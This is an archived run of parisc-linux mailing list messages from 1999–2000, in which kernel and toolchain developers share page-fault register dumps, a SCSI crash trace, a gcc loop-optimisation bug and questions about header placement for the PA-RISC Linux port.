	by carmen.fc.hp.com (Postfix) with ESMTP id CF5B037C97
	for <parisc-linux@thepuffingroup.com>; Wed, 27 Dec 2000 13:59:17 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from Matt Taggart <taggart@carmen.fc.hp.com> 
   of "Tue, 26 Dec 2000 21:34:46 MST." <20001227043446.6DCFD37C97@carmen.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9028


Matt Taggart writes...

> Ok, I got bash to build static against the glibc in the xc and I setup an 
> nfsroot with bash as my init. I am using a new kernel built with the same xc.
>  
> Here's what I get when booting,
> 
> -----------------------------------------------------------------------------
> .
> .
> .
> IP-Config: Got BOOTP answer from 15.1.51.72, my address is 15.1.51.73
> NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
> kmem_create: Forcing size word alignment - nfs_fh
> Looking up port of RPC 100003/2 on 15.1.51.72
> Looking up port of RPC 100005/2 on 15.1.51.72
> VFS: Mounted root (nfs filesystem) readonly.
> 
> do_page_fault() pid=1 command='init' address=0xfffffff8
> vm_start = 0xbb000000, vm_end = 0xbb002000
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001011
> r0-3     00000000 001071d0 00088153 fffffff8
> r4-7     bb0002c8 00000023 00000000 0000003a
> r8-11    00001368 00000000 000d6884 c01456a4
> r12-15   00000000 00000000 00000000 00000000
> r16-19   c027b60c c02ac000 00000000 00000001
> r20-23   000e3848 000e384c 01010101 80808080
> r24-27   000e3828 00000023 00000000 000fd9d0
> r28-31   00000022 0000000a bb000480 0008d443
> sr0-3    00000000 00000000 00000000 00000001
> sr4-7    00000001 00000001 00000001 00000001
> 
> IASQ: 00000001 00000001 IAOQ: 00068697 0006869b
>  IIR: 0c601084    ISR: 00000001  IOR: fffffff8
> ORIG_R28: 00000003
> -----------------------------------------------------------------------------
> 
> and it keeps looping with that same error.
> 
> The bash I'm using is at
> 
> ftp://puffin.external.hp.com/pub/parisc/debug/bash-20001226.tar.gz
> 
> The xc I'm using is at
> 
> ftp://puffin.external.hp.com/pub/parisc/debug/xc-20001222.tar.gz
> 
> I think the kernel and libc have different world views. I can provide 
> different bits on request.

I also just tried booting an old nfsroot, then trying to run the static bash. 
Here's what I get,

-----------------------------------------------------------------------------
geordi:/tmp/bash/bin# ./bash

do_page_fault() pid=117 command='bash' address=0xfffffff8
vm_start = 0xbb000000, vm_end = 0xbb001000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001011
r0-3     00000000 001071d0 00088153 fffffff8
r4-7     bb000408 00000023 00000000 0000003a
r8-11    00001368 0008b810 000d6884 00094cf0
r12-15   00000000 00000000 00094cb0 00000000
r16-19   00000000 00000001 0000b71b 00000001
r20-23   000e3848 000e384c 01010101 80808080
r24-27   000e3828 00000023 00000000 000fd9d0
r28-31   00000022 000ec839 bb0005c0 0008d443
sr0-3    00000000 00000000 00000000 00000003
sr4-7    00000003 00000003 00000003 00000003

IASQ: 00000003 00000003 IAOQ: 00068697 0006869b
 IIR: 0c601084    ISR: 00000003  IOR: fffffff8
ORIG_R28: 00000003
Segmentation fault
-----------------------------------------------------------------------------

Just to see how bad the problem was I built helloworld and it runs ok. I'll 
try to narrow it down more than that :)

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:14:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Same boot problem on a 9000/720/50 HP machine as 
 on 712/60 of Niskanen
Date: Wed, 27 Dec 2000 15:41:53 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20001227224153.5F22637C97@carmen.fc.hp.com>
References: <3A4940BF.3EB18F61@dot.at> <20001227012741.A150937C97@carmen.fc.hp.com> <20001227043446.6DCFD37C97@carmen.fc.hp.com>  <20001227205917.CF5B037C97@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619476 9450 80.91.229.3 (22 Nov 2014 01:24:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:36 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Wed Dec 27 15:36:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA16529
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Dec 2000 15:36:51 -0700
Original-Received: (qmail 478 invoked by uid 15267); 27 Dec 2000 22:39:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 465 invoked from network); 27 Dec 2000 22:39:59 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 27 Dec 2000 22:39:59 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP id 65ECB543
	for <parisc-linux@thepuffingroup.com>; Wed, 27 Dec 2000 17:39:58 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 5F22637C97
	for <parisc-linux@thepuffingroup.com>; Wed, 27 Dec 2000 15:41:53 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from Matt Taggart <taggart@carmen.fc.hp.com> 
   of "Wed, 27 Dec 2000 13:59:17 MST." <20001227205917.CF5B037C97@carmen.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9029


Matt Taggart writes...

[bash problems snipped]
> Just to see how bad the problem was I built helloworld and it runs ok. I'll 
> try to narrow it down more than that :)

It seems to just be the xcompiled static bash I built. I xcompiled sash and it 
worked ok. I setup an nfsroot with a bunch of stuff I had cross-compiled and 
except for bash and a couple other things, it's working normally. I will try 
compiling bash native and see if that helps.

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:14:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] DPF (code 15) in scsi on A500
Date: Wed, 27 Dec 2000 18:44:41 -0800 (PST)
Lines: 98
Approved: news@gmane.org
Message-ID: <200012280244.SAA23429@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619476 9457 80.91.229.3 (22 Nov 2014 01:24:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:36 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Dec 27 19:40:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA18201
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Dec 2000 19:40:14 -0700
Original-Received: (qmail 17273 invoked by uid 15267); 28 Dec 2000 02:43:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17263 invoked from network); 28 Dec 2000 02:43:25 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 28 Dec 2000 02:43:25 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 559D331B
	for <parisc-linux@thepuffingroup.com>; Wed, 27 Dec 2000 18:43:24 -0800 (PST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id SAA23429
	for parisc-linux@thepuffingroup.com; Wed, 27 Dec 2000 18:44:41 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:9030

Hi all,

I was trying to setup a root disk on the A500 based on the v0.5 CD.
My A500 has crashed three times with this symptom.
Twice with DELAYED_RESOURCE_CNT defined in SBA and once without.
In case it matters, I'm using "modprobe sym53c8xx" to load the scsi drivers.

Here is data from the second crash:

# fdisk /dev/sda
...
   Device Boot    Start       End    Blocks   Id  System
/dev/sda1             1      1025   1049584   82  Linux swap
/dev/sda2          1026      1046     21504   f0  Unknown
/dev/sda3          1047      5143   4195328   83  Linux
/dev/sda4          5144      8682   3623936   83  Linux

Command (m for help): q

gggA500:~# dd if=/palinux-0.5.iso of=/dev/sdb bs=32k
5633+1 records in
5633+1 records out
gggA500:~# mke2fs /dev/sda3
mke2fs 1.19, 13-Jul-2000 for EXT2 FS 0.5b, 95/08/09
...
# mount /dev/sda3 /mnt
# mount /dev/sdb /cdrom
# cd /cdrom
# find . | cpio -pdum /mnt/

Dumping Stack from 00000000c8100000 to 00000000c8101dc0:

...
1cc0 00000000 00000000 00000000 00000000 00000000 c01e854c 00000000 c01e8550
1ce0 00000000 cfd5b800 00000000 00000000 00000000 c01aa5e8 00000000 cf386600
1d00 00000000 00000000 00000000 0002d1a4 00000000 00000230 00000000 00010230
1d20 00000000 0000003f 00000000 52820020 00000000 3010303b 00000000 31005262
1d40 00000000 cfd5b800 00000000 00000000 00000000 cf386600 00000000 cf386600
1d60 00000000 c02d8770 00000000 00000002 00000000 c01dff7c 00000000 c0281eb0
1d80 00000000 cfd5b800 00000000 00000000 00000000 cfd53680 00000000 cf28b800
1da0 00000000 c02d8770 00000000 0800000b 00000000 c0104b60 00000000 cf3e8000

Bad Address (null pointer deref?): Code=15 regs=00000000c8101a80 (Addr=31005262)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                           
PSW: 00001000000001001111111100001011                                           
r0-3     0000000000000000 00000000c02e0f70 00000000c01e855c 00000000cf2870f8
r4-7     00000000c02d8770 00000000c7bd7180 00000000cf287000 0000000000000004
r8-11    0000000000000000 0000000000000001 0000000000000001 0000000000000001
r12-15   0000000000000001 000000000000c7a8 00000000000007a8 000000000002971c
r16-19   00000000c8100f40 00000000c7cfcbc0 0000000000000000 0000000000000004
r20-23   3030303b31005252 0000000000001038 00000000c7bd7180 000000000000001e
r24-27   00000000c03327b0 0000000000000001 00000000c7bd7180 00000000c02d8770
r28-31   0000000000000000 00000000c8101a70 00000000c8101dc0 00000000000001a8
sr0-3    0000000000000380 0000000000000380 0000000000000000 0000000000000000
sr4-7    0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000c01e854c 00000000c01e8550
 IIR: 52820020    ISR: 000000003010303b  IOR: 0000000031005262

IOAQ 0xc01e854c __scsi_end_request+bc
GR02 0xc01e855c __scsi_end_request+cc

Some kernel addresses off the stack:
0xc0104b60 tlb_fault+250
0xc02d8770 __gp+0
0xc0281eb0 cpu_irq_region+0
0xc01dff7c scsi_dispatch_cmd+28c
0xc01aa5e8 blkdev_release_request+50
0xc01e8550 __scsi_end_request+c0
0xc01e854c __scsi_end_request+bc

Code around the offending instruction is:
    c01e8538:   46 d3 00 20     ldh 10(r22),r19
    c01e853c:   52 d4 00 d0     ldd 68(r22),r20
    c01e8540:   d2 73 1a c9     extrw,u r19,22,23,r19
    c01e8544:   0a 67 04 33     sub r7,r19,r19
    c01e8548:   da 67 0f e0     extrd,s r19,63,32,r7
    c01e854c:   52 82 00 20     ldd 10(r20),rp		<- DPF here
    c01e8550:   52 9b 00 30     ldd 18(r20),dp
    c01e8554:   e8 40 f0 00     call (rp)
    c01e8558:   08 00 02 40     nop

c01e854c:   52 82 00 20     ldd 10(r20),rp

and r20 pretty clearly has garbage in it.

On the third crash, r20 contained 35e199f72318db9d and the
kernel adresses on the stack looked similar (ie tlb_fault was
the first kernel address).

I didn't save r20 or other output from the first crash.

I've saved the 2cd crash's console_out/vmlinux/System.map in case someone
else dares look more at this.

grant


From - Thu Nov 08 21:14:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Thu, 28 Dec 2000 00:18:04 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <200012280518.AAA11283@hiauly1.hia.nrc.ca>
References: <9917.977947732@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619477 9460 80.91.229.3 (22 Nov 2014 01:24:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:37 +0000 (UTC)
Cc: rth@redhat.com, alan@linuxcare.com.au, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org
To: law@redhat.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Dec 27 22:15:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA19369
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Dec 2000 22:15:19 -0700
Original-Received: (qmail 31511 invoked by uid 15267); 28 Dec 2000 05:18:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31494 invoked from network); 28 Dec 2000 05:18:29 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 28 Dec 2000 05:18:29 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id AAA11283;
	Thu, 28 Dec 2000 00:18:04 -0500 (EST)
In-Reply-To: <9917.977947732@upchuck> from "Jeffrey A Law" at Dec 27, 2000 01:08:52 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9031

>   In message <200012141640.LAA03285@hiauly1.hia.nrc.ca>you write:
>   > That's what I thought.  It would appear to occur when the above two insns
>   > get moved out of a loop.  The count gets decremented when the old insns
>   > are deleted but not incremented when the new insns are created.  The puzzle
>   > is why the count is zero rather than 1.  Maybe what happens is the two
>   > insns in the loop are deleted first, then the label is deleted?  Notice
>   > that insn 788 is moved to insn 1530.  However, the insn becomes 1531 and
>   > the reg changes to 337 from 208.
> In this case we typically will bump the number of uses before we delete
> the insns that way the label doesn't go away unexpectedly.

As far I can tell, move_movables doesn't do this when it moves an insn
out of a loop.  It does this by deleting the old insn and creating a new
one.  It calls add_label_notes if notes need to be added to the new insn.

I sent a patch to add_label_notes for review which I think fixes the
problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Native compiler doesn't work with new kernel
Date: Fri, 29 Dec 2000 18:06:46 -0700
Lines: 54
Approved: news@gmane.org
Message-ID: <20001230010646.750FF37C97@carmen.fc.hp.com>
References: <3A4940BF.3EB18F61@dot.at> <20001227012741.A150937C97@carmen.fc.hp.com> <20001227043446.6DCFD37C97@carmen.fc.hp.com> <20001227205917.CF5B037C97@carmen.fc.hp.com>  <20001227224153.5F22637C97@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619477 9466 80.91.229.3 (22 Nov 2014 01:24:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:37 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Fri Dec 29 18:01:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA02464
	for <parisc-linux@puffin.external.hp.com>; Fri, 29 Dec 2000 18:01:38 -0700
Original-Received: (qmail 27664 invoked by uid 15267); 30 Dec 2000 01:04:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27657 invoked from network); 30 Dec 2000 01:04:52 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 30 Dec 2000 01:04:52 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id 7BAA3108C
	for <parisc-linux@thepuffingroup.com>; Fri, 29 Dec 2000 20:04:51 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 750FF37C97
	for <parisc-linux@thepuffingroup.com>; Fri, 29 Dec 2000 18:06:46 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from Matt Taggart <taggart@carmen.fc.hp.com> 
   of "Wed, 27 Dec 2000 15:41:53 MST." <20001227224153.5F22637C97@carmen.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9032


Matt Taggart writes...

> It seems to just be the xcompiled static bash I built. I xcompiled sash and it
> worked ok. I setup an nfsroot with a bunch of stuff I had cross-compiled and 
> except for bash and a couple other things, it's working normally. I will try 
> compiling bash native and see if that helps.

OK, since I have a mostly-working nfsroot and a cross-built toolchain I tried 
running gcc. I just tried "gcc -o hello hellow.c" where hellow.c is the hello 
world program from cvs->userspace. The compiler dies with signal 6(abort). The 
system is also pretty erratic, sometimes the prompt takes a few minutes to 
return.(once with an out-of-memory error)

Someone suggested that I try an older kernel from before the stack changes 
were made eariler this month, so I tried an old kernel I had around(built with 
an old xc). Now gcc gets a little further, but dies with,

------------------------------------------------------------------------------
do_page_fault() pid=18 command='ld'


     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001011
r0-3     00000000 fffffff4 000368d7 00107060
r4-7     00000005 000ef790 00125368 00000000
r8-11    000e3438 00000000 00105ca0 00000031
r12-15   000d9ea8 00000000 00107060 000e3120
r16-19   000fa0c0 00106838 00000000 00000000
r20-23   001067e8 00000000 0002cc50 00107060
r24-27   000fa0c0 000d9ea8 000e3120 000d7770
r28-31   00105ca0 00000002 20020500 000368d7
sr0-4    00000000 00000004 00000000 00000004
sr4-8    00000004 00000004 00000004 00000004

IASQ: 00000004 00000004 IAOQ: 0002d5bf 0002d5c3
 IIR: 0e752087    ISR: 00000004  IOR: 00000000
ORIG_R28: 00000000
collect2: ld terminated with signal 11 [Segmentation fault], core dumped
------------------------------------------------------------------------------

I also wanted to try the older kernel bits built with the new xc but I 
couldn't remember the -ffunction-section magic to make it work.

If other people want to play with this I have put my new nfsroots at,

ftp://puffin.external.hp.com/pub/parisc/debug/base-20001227.tar.gz [25MB]
ftp://puffin.external.hp.com/pub/parisc/debug/nfsroot-20001227.tar.gz [59MB]

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:14:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Lots of warnings in the compiler build logs
Date: Fri, 29 Dec 2000 18:14:14 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20001230011414.2046E37C97@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619477 9470 80.91.229.3 (22 Nov 2014 01:24:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:37 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Fri Dec 29 18:09:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA02738
	for <parisc-linux@puffin.external.hp.com>; Fri, 29 Dec 2000 18:09:06 -0700
Original-Received: (qmail 990 invoked by uid 15267); 30 Dec 2000 01:12:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 981 invoked from network); 30 Dec 2000 01:12:20 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 30 Dec 2000 01:12:20 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP id 42BB452E
	for <parisc-linux@thepuffingroup.com>; Fri, 29 Dec 2000 20:12:19 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 2046E37C97
	for <parisc-linux@thepuffingroup.com>; Fri, 29 Dec 2000 18:14:14 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:9033

There are quite a few warnings in the compiler build logs. I thought I would 
post the logs in case someone wanted to work on cleanup. The build log for the 
cross-compiler is,

ftp://puffin.external.hp.com/pub/parisc/debug/xc-20001222.log [5.1MB]

and the log for the cross-compile of a native toolchain is,
 
ftp://puffin.external.hp.com/pub/parisc/debug/nc-20001222.log [4.8MB]

There are currently 452 warning lines in the xc log(builds binutils and gcc 
twice) and 269 warning lines in the nc log.

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:14:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] xchg/cmpxchg defined in wrong place?
Date: Fri, 29 Dec 2000 21:12:19 -0800 (PST)
Lines: 29
Approved: news@gmane.org
Message-ID: <200012300512.VAA24694@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619478 9472 80.91.229.3 (22 Nov 2014 01:24:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Dec 29 22:07:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA05471
	for <parisc-linux@puffin.external.hp.com>; Fri, 29 Dec 2000 22:07:45 -0700
Original-Received: (qmail 6628 invoked by uid 15267); 30 Dec 2000 05:10:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6621 invoked from network); 30 Dec 2000 05:10:59 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 30 Dec 2000 05:10:59 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 6DBB27C8
	for <parisc-linux@thepuffingroup.com>; Fri, 29 Dec 2000 21:10:58 -0800 (PST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id VAA24694;
	Fri, 29 Dec 2000 21:12:19 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:9034

Hello Linux Kernel Guru's,

After surveying all the arches that define __HAVE_ARCH_CMPXCHG:

./include/asm-alpha/system.h:#define __HAVE_ARCH_CMPXCHG 1
./include/asm-i386/system.h:#define __HAVE_ARCH_CMPXCHG 1
./include/asm-ia64/system.h:#define __HAVE_ARCH_CMPXCHG 1
./include/asm-ppc/system.h:#define __HAVE_ARCH_CMPXCHG  1
./include/asm-sparc64/system.h:#define __HAVE_ARCH_CMPXCHG 1

I've come to the conclusion xchg/cmpxchg definitions do NOT
belong in system.h.  AFAICT, all the above use Load Linked semantics
(or in the i386 case, operation is atomic). In other words, xchg/cmpxchg
are atomic operations.  Shouldn't xchg/cmpxchg definitions live
with other atomic operations - asm/atomic.h?

Currently, parisc __xchg lives in arch/parisc/kernel/setup.c. There is no
way to inline xchg or cmpxchg for parisc at the moment. And given the
dependendencies between asm/system.h, asm/spinlock.h, and asm/atomic.h,
I'm not trying to inline them. Perhaps when the definitions formally move
to atomic.h (or other more appropriate place).

And to add insult to injury, drivers/char/drm/drmP.h (the only visible
consumer of __HAVE_ARCH_CMPXCHG) doesn't even explicitly include
asm/system.h!

thanks,
grant


From - Thu Nov 08 21:14:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hi Also!
Date: Thu, 13 May 1999 15:48:38 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <19990513154838.28459@insula.local>
References: <005301be9cfc$d0cf70e0$770e070a@monorailpc>
Reply-To: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619478 9476 80.91.229.3 (22 Nov 2014 01:24:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:38 +0000 (UTC)
To: Ross Sponholtz <rsponholtz@earthlink.net>, parisc-linux@thepuffingroup.com
Original-X-From: prumpf@jcsbs.lanobis.de  Thu May 13 09:44:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA16902
	for <parisc-linux@puffin.external.hp.com>; Thu, 13 May 1999 09:44:20 -0600
Original-Received: (qmail 20070 invoked by uid 15267); 13 May 1999 15:43:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20058 invoked from network); 13 May 1999 15:43:56 -0000
Original-Received: from mail.lanobis.de (HELO bbs.lanobis.de) (root@62.104.42.195)
  by mailserv2.iuinc.com with SMTP; 13 May 1999 15:43:56 -0000
Original-Received: from world.local by bbs.lanobis.de with smtp
	(Smail3.2.0.92 #2) id m10hxeh-001Lz7C; Thu, 13 May 1999 17:44:15 +0200 (CEST)
Original-Received: (qmail 11328 invoked from network); 13 May 1999 15:44:32 -0000
Original-Received: from insula.local (HELO insula.jcsbs.lanobis.de) (@10.1.31.6)
  by world.local with SMTP; 13 May 1999 15:44:32 -0000
Original-Received: (from prumpf@localhost)
	by insula.jcsbs.lanobis.de (8.8.8/8.8.8) id PAA29173;
	Thu, 13 May 1999 15:48:39 GMT
X-Mailer: Mutt 0.89.1
In-Reply-To: <005301be9cfc$d0cf70e0$770e070a@monorailpc>; from Ross Sponholtz on Wed, May 12, 1999 at 11:55:24PM -0500
X-Accept-Language: en,de,se
Xref: news.gmane.org gmane.linux.ports.parisc:9035

> Hello, I too am new to the list; I have been lurking for a while, and have
> this related question:  What hardware is being targeted right now, and what
> is the minimum needed to help out?  Would a C110 be ok?  How 'bout a 715/50?

Due to the PDC interface being enough to get us to a bash prompt without
deciding on a single machine / machine group, any machine that does what
the PA1.1 docs say should be useful atm.

I think (this is just my personal plans and might very well change soon)
we'll boot using a ramdisk loaded by the bootloader with the kernel.
This means you need a dedicated Linux disk, and probably a HP-UX disk
to write diskimages to the Linux disk.

> Also, could we put together a newbies task list?  Stuff that needs to be

I think we don't have any of the typical boring repetitive tasks to let
newbies do atm. The basic task is to get the kernel working and there's
a list for things needed (though not up-to-date) somewhere on
www.thepuffingroup.com/parisc.

	Philipp Rumpf


From - Thu Nov 08 21:14:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] performance
Date: Fri, 29 Dec 2000 22:13:32 -0800
Lines: 53
Approved: news@gmane.org
Message-ID: <200012300613.WAA24743@milano.cup.hp.com>
References: <E14BL04-0002Zj-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619478 9477 80.91.229.3 (22 Nov 2014 01:24:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
